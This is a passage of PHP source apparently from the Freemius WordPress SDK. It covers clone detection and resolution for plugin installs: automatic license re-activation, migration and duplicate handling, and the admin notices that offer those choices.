!== $handler_id ) { return; } if ( ! $this->try_automatic_resolution() ) { $this->clear_temporary_duplicate_notice_shown_timestamp(); } } #-------------------------------------------------------------------------------- #region Automatic Clone Resolution #-------------------------------------------------------------------------------- /** * @var array All installs cache. */ private $all_installs; /** * Checks if a given instance's install is a clone of another subsite in the network. * * @author Vova Feldman (@svovaf) * * @return FS_Site */ private function find_network_subsite_clone_install( Freemius $instance ) { if ( ! is_multisite() ) { // Not a multi-site network. return null; } if ( ! isset( $this->all_installs ) ) { $this->all_installs = Freemius::get_all_modules_sites(); } // Check if there's another blog that has the same site. $module_type = $instance->get_module_type(); $sites_by_module_type = ! empty( $this->all_installs[ $module_type ] ) ? $this->all_installs[ $module_type ] : array(); $slug = $instance->get_slug(); $sites_by_slug = ! empty( $sites_by_module_type[ $slug ] ) ? $sites_by_module_type[ $slug ] : array(); $current_blog_id = get_current_blog_id(); $current_install = $instance->get_site(); foreach ( $sites_by_slug as $site ) { if ( $current_install->id == $site->id && $current_blog_id != $site->blog_id ) { // Clone is identical to an install on another subsite in the network. return $site; } } return null; } /** * Tries to find a different install of the context product that is associated with the current URL and loads it. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param Freemius $instance * @param string $url * * @return object */ private function find_other_install_by_url( Freemius $instance, $url ) { $result = $instance->get_api_user_scope()->get( "/plugins/{$instance->get_id()}/installs.json?url=" . urlencode( $url ) . "&all=true", true ); $current_install = $instance->get_site(); if ( $instance->is_api_result_object( $result, 'installs' ) ) { foreach ( $result->installs as $install ) { if ( $install->id == $current_install->id ) { continue; } if ( $instance->is_only_premium() && ! FS_Plugin_License::is_valid_id( $install->license_id ) ) { continue; } // When searching for installs by a URL, the API will first strip any paths and search for any matching installs by the subdomain. Therefore, we need to test if there's a match between the current URL and the install's URL before continuing. if ( $url !== fs_strip_url_protocol( untrailingslashit( $install->url ) ) ) { continue; } // Found a different install that is associated with the current URL, load it and replace the current install with it if no updated install is found. return $install; } } return null; } /** * Delete the current install associated with a given instance and opt-in/activate-license to create a fresh install. * * @author Vova Feldman (@svovaf) * @since 2.5.0 * * @param Freemius $instance * @param string|false $license_key * * @return bool TRUE if successfully connected. FALSE if failed and had to restore install from backup. */ private function delete_install_and_connect( Freemius $instance, $license_key = false ) { $user = Freemius::_get_user_by_id( $instance->get_site()->user_id ); $instance->delete_current_install( true ); if ( ! is_object( $user ) ) { // Get logged-in WordPress user. $current_user = Freemius::_get_current_wp_user(); // Find the relevant FS user by email address. $user = Freemius::_get_user_by_email( $current_user->user_email ); } if ( is_object( $user ) ) { // When a clone is found, we prefer to use the same user of the original install for the opt-in. $instance->install_with_user( $user, $license_key, false, false ); } else { // If no user is found, activate with the license. $instance->opt_in( false, false, false, $license_key ); } if ( is_object( $instance->get_site() ) ) { // Install successfully created. return true; } // Restore from backup. $instance->restore_backup_site(); return false; } /** * Try to resolve the clone situation automatically. * * @param Freemius $instance * @param string $current_url * @param bool $is_localhost * @param bool|null $is_clone_of_network_subsite * * @return bool If managed to automatically resolve the clone. */ private function try_resolve_clone_automatically_by_instance( Freemius $instance, $current_url, $is_localhost, $is_clone_of_network_subsite = null ) { // Try to find a different install of the context product that is associated with the current URL. $associated_install = $this->find_other_install_by_url( $instance, $current_url ); if ( is_object( $associated_install ) ) { // Replace the current install with a different install that is associated with the current URL. $instance->store_site( new FS_Site( clone $associated_install ) ); $instance->sync_install( array( 'is_new_site' => true ), true ); return true; } if ( ! $instance->is_premium() ) { // For free products, opt-in with the context user to create new install. return $this->delete_install_and_connect( $instance ); } $license = $instance->_get_license(); $can_activate_license = ( is_object( $license ) && ! $license->is_utilized( $is_localhost ) ); if ( ! $can_activate_license ) { // License can't be activated, therefore, can't be automatically resolved. return false; } if ( ! WP_FS__IS_LOCALHOST_FOR_SERVER && ! $is_localhost ) { $is_clone_of_network_subsite = ( ! is_null( $is_clone_of_network_subsite ) ) ? $is_clone_of_network_subsite : is_object( $this->find_network_subsite_clone_install( $instance ) ); if ( ! $is_clone_of_network_subsite ) { return false; } } // If the site is a clone of another subsite in the network, or a localhost one, try to auto activate the license. return $this->delete_install_and_connect( $instance, $license->secret_key ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function try_resolve_clone_automatically() { $clone_action = $this->get_clone_resolution_action_from_config(); if ( ! empty( $clone_action ) ) { $this->try_resolve_clone_automatically_by_config( $clone_action ); return; } $this->try_automatic_resolution(); } /** * Tries to resolve the clone situation automatically based on the config in the wp-config.php file. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $clone_action */ private function try_resolve_clone_automatically_by_config( $clone_action ) { $fs_instances = array(); if ( self::OPTION_LONG_TERM_DUPLICATE === $clone_action ) { $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone() ) { continue; } $license = $instance->has_features_enabled_license() ? $instance->_get_license() : null; if ( is_object( $license ) && ! $license->is_utilized( ( WP_FS__IS_LOCALHOST_FOR_SERVER || FS_Site::is_localhost_by_address( Freemius::get_unfiltered_site_url() ) ) ) ) { $fs_instances[] = $instance; } } if ( empty( $fs_instances ) ) { return; } } $this->resolve_cloned_sites( $clone_action, $fs_instances ); } /** * @author Leo Fajard (@leorw) * @since 2.5.0 * * @return string|null */ private function get_clone_resolution_action_from_config() { if ( ! defined( 'FS__RESOLVE_CLONE_AS' ) ) { return null; } if ( ! in_array( FS__RESOLVE_CLONE_AS, array( self::OPTION_NEW_HOME, self::OPTION_TEMPORARY_DUPLICATE, self::OPTION_LONG_TERM_DUPLICATE, ) ) ) { return null; } return FS__RESOLVE_CLONE_AS; } /** * Tries to recover the install of a newly created subsite or resolve it if it's a clone. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param Freemius $instance */ function maybe_resolve_new_subsite_install_automatically( Freemius $instance ) { if ( ! $instance->is_user_in_admin() ) { // Try to recover an install or resolve a clone only when there's a user in admin to prevent doing it prematurely (e.g., the install can get replaced with clone data again). return; } if ( ! is_multisite() ) { return; } $new_blog_install_map = $this->new_blog_install_map; if ( empty( $new_blog_install_map ) || ! is_array( $new_blog_install_map ) ) { return; } $is_network_admin = fs_is_network_admin(); if ( ! $is_network_admin ) { // If not in network admin, handle the current site. $blog_id = get_current_blog_id(); } else { // If in network admin, handle only the first site. $blog_ids = array_keys( $new_blog_install_map ); $blog_id = $blog_ids[0]; } if ( ! isset( $new_blog_install_map[ $blog_id ] ) ) { // There's no site to handle. return; } $expected_install_id = $new_blog_install_map[ $blog_id ]['install_id']; $current_install = $instance->get_install_by_blog_id( $blog_id ); $current_install_id = is_object( $current_install ) ? $current_install->id : null; if ( $expected_install_id == $current_install_id ) { // Remove the current site's information from the map to prevent handling it again. $this->remove_new_blog_install_info_from_storage( $blog_id ); return; } require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php'; $lock = new FS_Lock( self::OPTION_NAME . '_subsite' ); if ( ! $lock->try_lock(60) ) { return; } $instance->switch_to_blog( $blog_id ); $current_url = untrailingslashit( Freemius::get_unfiltered_site_url( null, true ) ); $current_install_url = is_object( $current_install ) ? fs_strip_url_protocol( untrailingslashit( $current_install->url ) ) : null; // This can be `false` even if the install is a clone as the URL can be updated as part of the cloning process. $is_clone = ( ! is_null( $current_install_url ) && $current_url !== $current_install_url ); if ( ! FS_Site::is_valid_id( $expected_install_id ) ) { $expected_install = null; } else { $expected_install = $instance->fetch_install_by_id( $expected_install_id ); } if ( FS_Api::is_api_result_entity( $expected_install ) ) { // Replace the current install with the expected install. $instance->store_site( new FS_Site( clone $expected_install ) ); $instance->sync_install( array( 'is_new_site' => true ), true ); } else { $network_subsite_clone_install = null; if ( ! $is_clone ) { // It is possible that `$is_clone` is `false` but the install is actually a clone as the following call checks the install ID and not the URL. $network_subsite_clone_install = $this->find_network_subsite_clone_install( $instance ); } if ( $is_clone || is_object( $network_subsite_clone_install ) ) { // If there's no expected install (or it couldn't be fetched) and the current install is a clone, try to resolve the clone automatically. $is_localhost = FS_Site::is_localhost_by_address( $current_url ); $resolved = $this->try_resolve_clone_automatically_by_instance( $instance, $current_url, $is_localhost, is_object( $network_subsite_clone_install ) ); if ( ! $resolved && is_object( $network_subsite_clone_install ) ) { if ( empty( $this->get_clone_identification_timestamp() ) ) { $this->store_clone_identification_timestamp(); } // Since the clone couldn't be identified based on the URL, replace the stored install with the cloned install so that the manual clone resolution notice will appear. $instance->store_site( clone $network_subsite_clone_install ); } } } $instance->restore_current_blog(); // Remove the current site's information from the map to prevent handling it again. $this->remove_new_blog_install_info_from_storage( $blog_id ); $lock->unlock(); } /** * If a new install was created after creating a new subsite, its ID is stored in the blog-install map so that it can be recovered in case it's replaced with a clone install (e.g., when the newly created subsite is a clone). The IDs of the clone subsites that were created while not running this version of the SDK or a higher version will also be stored in the said map so that the clone manager can also try to resolve them later on. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param int $blog_id * @param FS_Site $site */ function store_blog_install_info( $blog_id, $site = null ) { $new_blog_install_map = $this->new_blog_install_map; if ( empty( $new_blog_install_map ) || ! is_array( $new_blog_install_map ) ) { $new_blog_install_map = array(); } $install_id = null; if ( is_object( $site ) ) { $install_id = $site->id; } $new_blog_install_map[ $blog_id ] = array( 'install_id' => $install_id ); $this->new_blog_install_map = $new_blog_install_map; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param int $blog_id */ private function remove_new_blog_install_info_from_storage( $blog_id ) { $new_blog_install_map = $this->new_blog_install_map; unset( $new_blog_install_map[ $blog_id ] ); $this->new_blog_install_map = $new_blog_install_map; } /** * Tries to resolve all clones automatically. * * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return bool If managed to automatically resolve all clones. */ private function try_automatic_resolution() { $this->_logger->entrance(); require_once WP_FS__DIR_INCLUDES . '/class-fs-lock.php'; $lock = new FS_Lock( self::OPTION_NAME ); /** * Try to acquire lock for the next 60 sec based on the thread ID. */ if ( ! $lock->try_lock( 60 ) ) { return false; } $current_url = untrailingslashit( Freemius::get_unfiltered_site_url( null, true ) ); $is_localhost = FS_Site::is_localhost_by_address( $current_url ); $require_manual_resolution = false; $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone() ) { continue; } if ( ! $this->try_resolve_clone_automatically_by_instance( $instance, $current_url, $is_localhost ) ) { $require_manual_resolution = true; } } // Create a 1-day lock. $lock->lock( WP_FS__TIME_24_HOURS_IN_SEC ); return ( ! $require_manual_resolution ); } #endregion #-------------------------------------------------------------------------------- #region Manual Clone Resolution #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _add_clone_resolution_javascript() { $vars = array( 'ajax_action' => Freemius::get_ajax_action_static( 'handle_clone_resolution' ) ); fs_require_once_template( 'clone-resolution-js.php', $vars ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function _clone_resolution_action_ajax_handler() { $this->_logger->entrance(); check_ajax_referer( Freemius::get_ajax_action_static( 'handle_clone_resolution' ), 'security' ); $clone_action = fs_request_get( 'clone_action' ); $blog_id = is_multisite() ? fs_request_get( 'blog_id' ) : 0; if ( is_multisite() && $blog_id == get_current_blog_id() ) { $blog_id = 0; } if ( empty( $clone_action ) ) { Freemius::shoot_ajax_failure( array( 'message' => fs_text_inline( 'Invalid clone resolution action.', 'invalid-clone-resolution-action-error' ), 'redirect_url' => '', ) ); } $result = $this->resolve_cloned_sites( $clone_action, array(), $blog_id ); Freemius::shoot_ajax_success( $result ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @param string $clone_action * @param Freemius[] $fs_instances * @param int $blog_id * * @return array */ private function resolve_cloned_sites( $clone_action, $fs_instances = array(), $blog_id = 0 ) { $this->_logger->entrance(); $result = array(); $instances_with_clone = array(); $instances_with_clone_count = 0; $install_by_instance_id = array(); $instances = ( ! empty( $fs_instances ) ) ? $fs_instances : Freemius::_get_all_instances(); $should_switch_to_blog = ( $blog_id > 0 ); foreach ( $instances as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } if ( $instance->is_registered() && $instance->is_clone() ) { $instances_with_clone[] = $instance; $instances_with_clone_count ++; $install_by_instance_id[ $instance->get_id() ] = $instance->get_site(); } } if ( self::OPTION_TEMPORARY_DUPLICATE === $clone_action ) { $this->store_temporary_duplicate_timestamp(); } else { $redirect_url = ''; foreach ( $instances_with_clone as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } $has_error = false; if ( self::OPTION_NEW_HOME === $clone_action ) { $instance->sync_install( array( 'is_new_site' => true ), true ); if ( $instance->is_clone() ) { $has_error = true; } } else { $instance->_handle_long_term_duplicate(); if ( ! is_object( $instance->get_site() ) ) { $has_error = true; } } if ( $has_error && 1 === $instances_with_clone_count ) { $redirect_url = $instance->get_activation_url(); } } $result = ( array( 'redirect_url' => $redirect_url ) ); } foreach ( $instances_with_clone as $instance ) { if ( $should_switch_to_blog ) { $instance->switch_to_blog( $blog_id ); } // No longer a clone, send an update. if ( ! $instance->is_clone() ) { $instance->send_clone_resolution_update( $clone_action, $install_by_instance_id[ $instance->get_id() ] ); } } if ( 'temporary_duplicate_license_activation' !== $clone_action ) { $this->remove_clone_resolution_options_notice(); } else { $this->remove_temporary_duplicate_notice(); } if ( $should_switch_to_blog ) { foreach ( $instances as $instance ) { $instance->restore_current_blog(); } } return $result; } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ private function hide_clone_admin_notices() { $this->remove_clone_resolution_options_notice( false ); $this->remove_temporary_duplicate_notice( false ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.0 */ function maybe_show_clone_admin_notice() { $this->_logger->entrance(); if ( fs_is_network_admin() ) { $existing_notice_ids = $this->maybe_remove_notices(); if ( ! empty( $existing_notice_ids ) ) { fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); } return; } $first_instance_with_clone = null; $site_urls = array(); $sites_with_license_urls = array(); $sites_with_premium_version_count = 0; $product_ids = array(); $product_titles = array(); $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( ! $instance->is_registered() ) { continue; } if ( ! $instance->is_clone( true ) ) { continue; } $install = $instance->get_site(); $site_urls[] = $install->url; $product_ids[] = $instance->get_id(); $product_titles[] = $instance->get_plugin_title(); if ( is_null( $first_instance_with_clone ) ) { $first_instance_with_clone = $instance; } if ( is_object( $instance->_get_license() ) ) { $sites_with_license_urls[] = $install->url; } if ( $instance->is_premium() ) { $sites_with_premium_version_count ++; } } if ( empty( $site_urls ) && empty( $sites_with_license_urls ) ) { $this->hide_clone_admin_notices(); return; } $site_urls = array_unique( $site_urls ); $sites_with_license_urls = array_unique( $sites_with_license_urls ); $module_label = fs_text_inline( 'products', 'products' ); $admin_notice_module_title = null; $has_temporary_duplicate_mode_expired = $this->has_temporary_duplicate_mode_expired(); if ( ! $this->was_temporary_duplicate_mode_selected() || $has_temporary_duplicate_mode_expired ) { if ( ! empty( $site_urls ) ) { fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); $doc_url = 'https://freemius.com/help/documentation/wordpress-sdk/safe-mode-clone-resolution-duplicate-website/'; if ( 1 === count( $instances ) ) { $doc_url = fs_apply_filter( $first_instance_with_clone->get_unique_affix(), 'clone_resolution_documentation_url', $doc_url ); } $this->add_manual_clone_resolution_admin_notice( $product_ids, $product_titles, $site_urls, Freemius::get_unfiltered_site_url(), ( count( $site_urls ) === count( $sites_with_license_urls ) ), ( count( $site_urls ) === $sites_with_premium_version_count ), $doc_url ); } return; } if ( empty( $sites_with_license_urls ) ) { return; } if ( ! $this->is_temporary_duplicate_notice_shown() ) { $last_time_temporary_duplicate_notice_shown = $this->temporary_duplicate_notice_shown_timestamp; $was_temporary_duplicate_notice_shown_before = is_numeric( $last_time_temporary_duplicate_notice_shown ); if ( $was_temporary_duplicate_notice_shown_before ) { $temporary_duplicate_mode_expiration_timestamp = $this->get_temporary_duplicate_expiration_timestamp(); $current_time = time(); if ( $current_time > $temporary_duplicate_mode_expiration_timestamp || $current_time < ( $temporary_duplicate_mode_expiration_timestamp - ( 2 * WP_FS__TIME_24_HOURS_IN_SEC ) ) ) { // Do not show the notice if the temporary duplicate mode has already expired or it will expire more than 2 days from now. return; } } } if ( 1 === count( $sites_with_license_urls ) ) { $module_label = $first_instance_with_clone->get_module_label( true ); $admin_notice_module_title = $first_instance_with_clone->get_plugin_title(); } fs_enqueue_local_style( 'fs_clone_resolution_notice', '/admin/clone-resolution.css' ); $this->add_temporary_duplicate_sticky_notice( $product_ids, $this->get_temporary_duplicate_admin_notice_string( $sites_with_license_urls, $product_titles, $module_label ), $admin_notice_module_title ); } /** * Removes the notices from the storage if the context product is either no longer active on the context subsite or it's active but there's no longer any clone. This prevents the notices from being shown on the network-level admin page when they are no longer relevant. * * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @return string[] */ private function maybe_remove_notices() { $notices = array( 'clone_resolution_options_notice' => $this->_notices->get_sticky( 'clone_resolution_options_notice', true ), 'temporary_duplicate_notice' => $this->_notices->get_sticky( 'temporary_duplicate_notice', true ), ); $instances = Freemius::_get_all_instances(); foreach ( $notices as $id => $notice ) { if ( ! is_array( $notice ) ) { unset( $notices[ $id ] ); continue; } if ( empty( $notice['data'] ) || ! is_array( $notice['data'] ) ) { continue; } if ( empty( $notice['data']['product_ids'] ) || empty( $notice['data']['blog_id'] ) ) { continue; } $product_ids = $notice['data']['product_ids']; $blog_id = $notice['data']['blog_id']; $has_clone = false; if ( ! is_null( get_site( $blog_id ) ) ) { foreach ( $product_ids as $product_id ) { if ( ! isset( $instances[ 'm_' . $product_id ] ) ) { continue; } $instance = $instances[ 'm_' . $product_id ]; $plugin_basename = $instance->get_plugin_basename(); $is_plugin_active = is_plugin_active_for_network( $plugin_basename ); if ( ! $is_plugin_active ) { switch_to_blog( $blog_id ); $is_plugin_active = is_plugin_active( $plugin_basename ); restore_current_blog(); } if ( ! $is_plugin_active ) { continue; } $install = $instance->get_install_by_blog_id( $blog_id ); if ( ! is_object( $install ) ) { continue; } $subsite_url = Freemius::get_unfiltered_site_url( $blog_id, true, true ); $has_clone = ( fs_strip_url_protocol( trailingslashit( $install->url ) ) !== $subsite_url ); } } if ( ! $has_clone ) { $this->_notices->remove_sticky( $id, true, false ); unset( $notices[ $id ] ); } } return array_keys( $notices ); } /** * Adds a notice that provides the logged-in WordPress user with manual clone resolution options. * * @param number[] $product_ids * @param string[] $site_urls * @param string $current_url * @param bool $has_license * @param bool $is_premium * @param string $doc_url */ private function add_manual_clone_resolution_admin_notice( $product_ids, $product_titles, $site_urls, $current_url, $has_license, $is_premium, $doc_url ) { $this->_logger->entrance(); $total_sites = count( $site_urls ); $sites_list = ''; $total_products = count( $product_titles ); $products_list = ''; if ( 1 === $total_products ) { $notice_header = sprintf( '<div class="fs-notice-header"><p>%s</p></div>', fs_esc_html_inline( '%1$s has been placed into safe mode because we noticed that %2$s is an exact copy of %3$s.', 'single-cloned-site-safe-mode-message' ) ); } else { $notice_header = sprintf( '<div class="fs-notice-header"><p>%s</p></div>', ( 1 === $total_sites ) ? fs_esc_html_inline( 'The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$s', 'multiple-products-cloned-site-safe-mode-message' ) : fs_esc_html_inline( 'The products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$s', 'multiple-products-multiple-cloned-sites-safe-mode-message' ) ); foreach ( $product_titles as $product_title ) { $products_list .= sprintf( '<li>%s</li>', $product_title ); } $products_list = '<ol>' . $products_list . '</ol>'; foreach ( $site_urls as $site_url ) { $sites_list .= sprintf( '<li><a href="%s" target="_blank">%s</a></li>', $site_url, fs_strip_url_protocol( $site_url ) ); } $sites_list = '<ol>' . $sites_list . '</ol>'; } $remote_site_link = '<b>' . (1 === $total_sites ? sprintf( '<a href="%s" target="_blank">%s</a>', $site_urls[0], fs_strip_url_protocol( $site_urls[0] ) ) : fs_text_inline( 'the above-mentioned sites', 'above-mentioned-sites' )) . '</b>'; $current_site_link = sprintf( '<b><a href="%s" target="_blank">%s</a></b>', $current_url, fs_strip_url_protocol( $current_url ) ); $button_template = '<button class="button" data-clone-action="%s">%s</button>'; $option_template = '<div class="fs-clone-resolution-option"><strong>%s</strong><p>%s</p><div>%s</div></div>'; $duplicate_option = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s a duplicate of %4$s?', 'duplicate-site-confirmation-message' ), fs_esc_html_inline( 'Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.', 'duplicate-site-message' ), ( $this->has_temporary_duplicate_mode_expired() ? sprintf( $button_template, 'long_term_duplicate', fs_text_inline( 'Long-Term Duplicate', 'long-term-duplicate' ) ) : sprintf( $button_template, 'temporary_duplicate', fs_text_inline( 'Duplicate Website', 'duplicate-site' ) ) ) ); $migration_option = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s the new home of %4$s?', 'migrate-site-confirmation-message' ), sprintf( fs_esc_html_inline( 'Yes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.', 'migrate-site-message' ), ( $has_license ? fs_text_inline( 'license', 'license' ) : fs_text_inline( 'data', 'data' ) ) ), sprintf( $button_template, 'new_home', $has_license ? fs_text_inline( 'Migrate License', 'migrate-product-license' ) : fs_text_inline( 'Migrate', 'migrate-product-data' ) ) ); $new_website = sprintf( $option_template, fs_esc_html_inline( 'Is %2$s a new website?', 'new-site-confirmation-message' ), fs_esc_html_inline( 'Yes, %2$s is a new and different website that is separate from %4$s.', 'new-site-message' ) . ($is_premium ? ' ' . fs_text_inline( 'It requires license activation.', 'new-site-requires-license-activation-message' ) : '' ), sprintf( $button_template, 'new_website', ( ! $is_premium || ! $has_license ) ? fs_text_inline( 'New Website', 'new-website' ) : fs_text_inline( 'Activate License', 'activate-license' ) ) ); $blog_id = get_current_blog_id(); /** * %1$s - single product's title or product titles list. * %2$s - site's URL. * %3$s - single install's URL or install URLs list. * %4$s - Clone site's link or "the above-mentioned sites" if there are multiple clone sites. */ $message = sprintf( $notice_header . '<div class="fs-clone-resolution-options-container" data-ajax-url="' . esc_attr( admin_url( 'admin-ajax.php?_fs_network_admin=false', 'relative' ) ) . '" data-blog-id="' . $blog_id . '">' . $duplicate_option . $migration_option . $new_website . '</div>' . sprintf( '<div class="fs-clone-documentation-container">Unsure what to do? <a href="%s" target="_blank">Read more here</a>.</div>', $doc_url ), // %1$s ( 1 === $total_products ? sprintf( '<b>%s</b>', $product_titles[0] ) : ( 1 === $total_sites ? sprintf( '<div>%s</div>', $products_list ) : sprintf( '<div><p><strong>%s</strong>:</p>%s</div>', fs_esc_html_x_inline( 'Products', 'Clone resolution admin notice products list label', 'products' ), $products_list ) ) ), // %2$s $current_site_link, // %3$s ( 1 === $total_sites ? $remote_site_link : $sites_list ), // %4$s $remote_site_link ); $this->_notices->add_sticky( $message, 'clone_resolution_options_notice', '', 'warn', true, null, null, true, // Intentionally not dismissible. false, array( 'product_ids' => $product_ids, 'blog_id' => $blog_id ) ); } #endregion #-------------------------------------------------------------------------------- #region Temporary Duplicate (Short Term) #-------------------------------------------------------------------------------- /** * @author Leo Fajardo (@leorw) * @since 2.5.0 * * @return string */ private function get_temporary_duplicate_admin_notice_string( $site_urls, $product_titles, $module_label ) { $this->_logger->entrance(); $temporary_duplicate_end_date = $this->get_temporary_duplicate_expiration_timestamp(); $temporary_duplicate_end_date = date( 'M j, Y', $temporary_duplicate_end_date ); $current_url = Freemius::get_unfiltered_site_url(); $current_site_link = sprintf( '<b><a href="%s" target="_blank">%s</a></b>', $current_url, fs_strip_url_protocol( $current_url ) ); $total_sites = count( $site_urls ); $sites_list = ''; $total_products = count( $product_titles ); $products_list = ''; if ( $total_sites > 1 ) { foreach ( $site_urls as $site_url ) { $sites_list .= sprintf( '<li><a href="%s" target="_blank">%s</a></li>', $site_url, fs_strip_url_protocol( $site_url ) ); } $sites_list = '<ol class="fs-sites-list">' . $sites_list . '</ol>'; } if ( $total_products > 1 ) { foreach ( $product_titles as $product_title ) { $products_list .= sprintf( '<li>%s</li>', $product_title ); } $products_list = '<ol>' . $products_list . '</ol>'; } return sprintf( sprintf( '<div>%s</div>', ( 1 === $total_sites ? sprintf( '<p>%s</p>', fs_esc_html_inline( 'You marked this website, %s, as a temporary duplicate of %s.', 'temporary-duplicate-message' ) ) : sprintf( '<p>%s:</p>', fs_esc_html_inline( 'You marked this website, %s, as a temporary duplicate of these sites', 'temporary-duplicate-of-sites-message' ) ) . '%s' ) ) . '%s', $current_site_link, ( 1 === $total_sites ? sprintf( '<b><a href="%s" target="_blank">%s</a></b>', $site_urls[0], fs_strip_url_protocol( $site_urls[0] ) ) : $sites_list ), sprintf( '<div class="fs-clone-resolution-options-container fs-duplicate-site-options" data-ajax-url="%s" data-blog-id="' . get_current_blog_id() . '"><p>%s</p>%s<p>%s</p></div>', esc_attr( admin_url( 'admin-ajax.php?_fs_network_admin=false', 'relative' ) ), sprintf( fs_esc_html_inline( "%s automatic security & feature updates and paid functionality will keep working without interruptions until %s (or when your license expires, whatever comes first).", 'duplicate-site-confirmation-message' ), ( 1 === $total_products ? sprintf( fs_esc_html_x_inline( "The %s's", '"The <product_label>", e.g.: "The plugin"', 'the-product-x'), "<strong>{$module_label}</strong>" ) : fs_esc_html_inline( "The following products'", 'the-following-products' ) ), sprintf( '<strong>%s</strong>', $temporary_duplicate_end_date ) ), ( 1 === $total_products ? '' : sprintf( '<div>%s</div>', $products_list ) ), sprintf( fs_esc_html_inline( 'If this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.', 'duplicate-site-message' ), sprintf( '<strong>%s</strong>', $temporary_duplicate_end_date), sprintf( '<a href="#" id="fs_temporary_duplicate_license_activation_link" data-clone-action="temporary_duplicate_license_activation">%s</a>', fs_esc_html_inline( 'activate a license here', 'activate-license-here' ) ) ) ) ); } /** * Determines if the temporary duplicate mode has already expired. * * @return bool */ function has_temporary_duplicate_mode_expired() { $temporary_duplicate_mode_start_timestamp = $this->was_temporary_duplicate_mode_selected() ? $this->get_option( 'temporary_duplicate_mode_selection_timestamp', true ) : $this->get_clone_identification_timestamp(); if ( ! is_numeric( $temporary_duplicate_mode_start_timestamp ) ) { return false; } return ( time() > ( $temporary_duplicate_mode_start_timestamp + self::TEMPORARY_DUPLICATE_PERIOD ) ); } /** * Determines if the logged-in WordPress user manually selected the temporary duplicate mode for the site. * * @return bool */ function was_temporary_duplicate_mode_selected() { return is_numeric( $this->temporary_duplicate_mode_selection_timestamp ); } /** * Stores the time when the logged-in WordPress user selected the temporary duplicate mode for the site. */ private function store_temporary_duplicate_timestamp() { $this->temporary_duplicate_mode_selection_timestamp = time(); } /** * Removes the notice that is shown when the logged-in WordPress user has selected the temporary duplicate mode for the site. * * @param bool $store */ function remove_clone_resolution_options_notice( $store = true ) { $this->_notices->remove_sticky( 'clone_resolution_options_notice', true, $store ); } /** * Removes the notice that is shown when the logged-in WordPress user has selected the temporary duplicate mode for the site. * * @param bool $store */ function remove_temporary_duplicate_notice( $store = true ) { $this->_notices->remove_sticky( 'temporary_duplicate_notice', true, $store ); } /** * Determines if the manual clone resolution options notice is currently being shown. * * @return bool */ function is_clone_resolution_options_notice_shown() { return $this->_notices->has_sticky( 'clone_resolution_options_notice', true ); } /** * Determines if the temporary duplicate notice is currently being shown. * * @return bool */ function is_temporary_duplicate_notice_shown() { return $this->_notices->has_sticky( 'temporary_duplicate_notice', true ); } /** * Determines if a site was marked as a temporary duplicate and if it's still a temporary duplicate. * * @return bool */ function is_temporary_duplicate_by_blog_id( $blog_id ) { $timestamp = $this->get_option( 'temporary_duplicate_mode_selection_timestamp', false, $blog_id ); return ( is_numeric( $timestamp ) && time() < ( $timestamp + self::TEMPORARY_DUPLICATE_PERIOD ) ); } /** * Determines the last time the temporary duplicate notice was shown. * * @return int|null */ function last_time_temporary_duplicate_notice_was_shown() { return $this->temporary_duplicate_notice_shown_timestamp; } /** * Clears the time that has been stored when the temporary duplicate notice was shown. */ function clear_temporary_duplicate_notice_shown_timestamp() { unset( $this->temporary_duplicate_notice_shown_timestamp ); } /** * Adds a temporary duplicate notice that provides the logged-in WordPress user with an option to activate a license for the site. * * @param number[] $product_ids * @param string $message * @param string|null $plugin_title */ function add_temporary_duplicate_sticky_notice( $product_ids, $message, $plugin_title = null ) { $this->_logger->entrance(); $this->_notices->add_sticky( $message, 'temporary_duplicate_notice', '', 'promotion', true, null, $plugin_title, true, true, array( 'product_ids' => $product_ids, 'blog_id' => get_current_blog_id() ) ); $this->temporary_duplicate_notice_shown_timestamp = time(); } #endregion /** * @author Leo Fajardo * @since 2.5.0 * * @param string $key * * @return bool */ private function should_use_network_storage( $key ) { return ( 'new_blog_install_map' === $key ); } /** * @param string $key * @param number|null $blog_id * * @return FS_Option_Manager */ private function get_storage( $key, $blog_id = null ) { if ( is_numeric( $blog_id ) ){ return FS_Option_Manager::get_manager( WP_FS___OPTION_PREFIX . self::OPTION_MANAGER_NAME, true, $blog_id ); } return $this->should_use_network_storage( $key ) ? $this->_network_storage : $this->_storage; } /** * @param string $name * @param bool $flush * @param number|null $blog_id * * @return mixed */ private function get_option( $name, $flush = false, $blog_id = null ) { return $this->get_storage( $name, $blog_id )->get_option( $name, null, $flush ); } #-------------------------------------------------------------------------------- #region Magic methods #-------------------------------------------------------------------------------- /** * @param string $name * @param int|string $value */ function __set( $name, $value ) { $this->get_storage( $name )->set_option( $name, $value, true ); } /** * @param string $name * * @return bool */ function __isset( $name ) { return $this->get_storage( $name )->has_option( $name, true ); } /** * @param string $name */ function __unset( $name ) 